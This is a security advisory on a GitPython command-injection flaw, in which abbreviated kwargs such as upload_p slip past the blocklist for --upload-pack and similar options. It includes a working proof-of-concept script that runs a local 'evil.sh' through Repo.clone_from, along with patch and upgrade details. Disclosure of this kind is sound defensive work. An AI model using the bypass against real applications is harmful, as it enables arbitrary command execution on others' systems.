high · 8.8Jul 21, 2026

GitPython: OS Command Injection via git long-option prefix abbreviation bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

GitPython's blocklist for dangerous git options like --upload-pack can be bypassed by passing an abbreviated form of the option name as a Python keyword argument, letting an attacker run arbitrary…

PackageGitPython
Ecosystempip
Affected<= 3.1.50
Fixed in3.1.51

The problem

GitPython added a blocklist in 3.1.47 to reject dangerous git options such as --upload-pack, --receive-pack, and --exec. The guard normalizes option names only by converting underscores to hyphens, then does an exact dict lookup.

Git's CLI parser accepts any unambiguous prefix of a long option. A kwarg like upload_p dashifies to upload-p, misses the blocklist, and reaches git as --upload-p=<value>, which git silently resolves to --upload-pack=<value>. This means arbitrary command execution is possible even when allow_unsafe_options=False (the default).

Exploitation requires a host application that passes attacker-controlled kwarg keys into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(). Where keys are fixed or validated upstream, the library's safety guard is not reachable.

Proof of concept

A working proof-of-concept for this issue in GitPython, with the exact payload below.

python
import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake upload-pack binary that proves arbitrary execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# 'upload_p' -> --upload-p= -> git resolves to --upload-pack= -> runs evil.sh
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts after payload executes

print("RCE:", os.path.exists(marker))  # True = command injection confirmed

The root cause is an asymmetry between what check_unsafe_options models and what git actually accepts. The guard only normalizes _ to - and does exact dict membership, so abbreviated keys like upload_p pass right through. Git's option parser then expands the abbreviation to the full blocked flag and executes the attacker-supplied binary.

The patch (PR #2168, commit 56806080) adds prefix-aware matching: any option whose canonical name is an unambiguous prefix of a blocked option is now rejected. This closes the gap between the library's grammar model and git's actual CLI parser. CWE-184 (Incomplete List of Disallowed Inputs) leads directly to CWE-78 (OS Command Injection).

The fix

Upgrade GitPython to 3.1.51 or later. The fix rejects abbreviated forms of all blocked git options in check_unsafe_options, ensuring no prefix of a dangerous option name can slip through. If you cannot upgrade immediately, audit all call sites of Repo.clone_from(), Remote.fetch(), Remote.pull(), and Remote.push() to confirm kwarg keys are hardcoded and never derived from user input.

Reported by hackkim.

References: [1][2][3][4][5]

Related research